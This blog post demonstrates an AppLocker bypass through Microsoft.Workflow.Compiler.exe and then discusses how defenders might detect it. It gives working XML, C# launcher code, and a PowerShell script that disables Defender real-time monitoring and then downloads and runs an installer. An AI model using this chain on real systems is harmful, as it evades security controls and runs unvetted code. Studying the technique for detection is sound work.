Microsoft.Workflow.Compiler.exe Applocker bypass Part 1 Powershell

There has been multiple posts about this technique. Matt Graeber has a very good post going over how the workflow compiler, can be used to compile and run csharp and vb.net code. Below are the links to sources that cover this technique. workflows can be thought of as a build process for .Net software. Similar to someone using clang in their build process of c++ software.

  • This exe comes by default with .Net
  • It will most likely be allowed in applocker environments, since you can’t really block it without causing issues with software that is used in the corporate environment.
  • Used when creating workflows which Microsoft has been moving away with to more cloud focused Power automate stuff.

Links that helped me

To do this technique you need two things a XML file and your code probably formatted. What I will be showing today is how to run csharp code that pops up a powershell and then runs a couple of commands that looks like something malware will run.

This is the xml file it has test.txt which will be our csharp code

<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>test.txt</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>

I opened up Powershell and ran the commands below to get my commands in base64 encoded format. This way I could paste it into the csharp create process area. Be sure to do the base64 encoding from Windows as Linux formats it differently. Our code turns off realtime monitoring in windows Defender. Downloads putty using System.Net.WebClient and uses invoke-item to run the installer.

$string= {
Set-MpPreference -DisableRealtimeMonitoring $true;
$obj=New-Object System.Net.WebClient;
$url = "https://the.earth.li/~sgtatham/putty/latest/w64/putty-64bit-0.74-installer.msi";
$output = "putty.msi";
$file=$obj.DownloadFile($url,$output);
invoke-item($output);}
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string))

Next up is the test.txt file which has our base64 encoded command. And the csharp code that uses system.diagnostics to start a new process running the powershell commands.

using System;
using System.Diagnostics;
using System.Workflow.Activities;

public class Foo : SequentialWorkflowActivity {
      public Foo() {
          Process process = new Process();
          // Configure the process using the StartInfo properties.
          process.StartInfo.FileName = "powershell.exe";
          process.StartInfo.Arguments = "-encodedcommand <base64StringGoesHere>";
          process.StartInfo.WindowStyle = ProcessWindowStyle.Normal;
          process.Start();
          process.WaitForExit();
      }
}

You would then compile it by running C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe info.xml test.txt info.xml is xml file that calls test.txt. test.txt contains your code to run. Depending on the version of .net installed you may need to go to another folder to run Microsoft.Workflow.Compiler.exe You can also rename the executable and launch it in any other areas.

Matt Graeber went over some good points of detecting this in your network. Keep in mind detecting based just on filename won’t work. Check out this link for more info on detecting parts of files https://posts.specterops.io/what-is-it-that-makes-a-microsoft-executable-a-microsoft-executable-b43ac612195e The other issue is that bugs in workflow have been found, such as this metasploit module https://www.rapid7.com/db/modules/exploit/windows/http/sharepoint_workflows_xoml/ . This bug is just an example that affected specifically workflows run against .net servers. But is an example that there can be bugs in the workflow technology. What this means is that Matt Graebers points 2-3 on detection won’t work. You won’t see Microsoft.Workflow.Compiler.exe spawning csc.exe or vbc.exe. And if your Yara or other rules look for <compilerinput and Activity, it won’t really work well against detecting bug being exploited.

Going more into it the malware would then just need to stay in memory, injecting into other process’s or just loading inside of Microsoft.Workflow.Compiler.exe. You would then have to hope you have a layered defense, that would pickup on the network traffic. A SIEM or EDR system could be helpful in showing that Microsoft.Workflow.Compiler.exe spawned powershell.exe or communication over the network. Let’s say you got Sharepoint devs running workflows. What is called in the process, is it Microsoft.Workflow.Compiler.exe? Okay then you could baseline, that workflows run against Sharepoint servers is okay network traffic. Other traffic coming from executable like that is not and should throw a potential alert to be investigated.

The example I gave above should get you asking the following questions.

  • Network Area:
    • Was Network traffic visible to me?
    • Did my sandbox systems such as Palo Alto’s or Cisco firepower scan the file as it was downloaded across the network?
    • That putty link was https, so how visible was that traffic to you?
  • Endpoint:
    • What did my EDR or SIEM system show?
    • Was PowerShell logging picking up the commands ran?
    • If you have sysmon did you get a good alert showing file downloaded, and hash of file?
    • What did endpoint logs show, and how can I make them pick this up without generating too much noise for analysts?
  • Hunting:
    • If this went undetected; maybe there was some other way to run this undetected, or make it seem like normal behavior. What other areas would you look to to pick this up?
    • What do you have in place to alert persistence or lateral movement?
  • Applelocker
    • What are my applocker rules and what did they show when this happened?
    • Most likely workflow compiler would have worked. But depending on your rules the putty installer could have failed. You can always change the link to try unsigned files, or other files.

Leave a Reply

Your email address will not be published. Required fields are marked *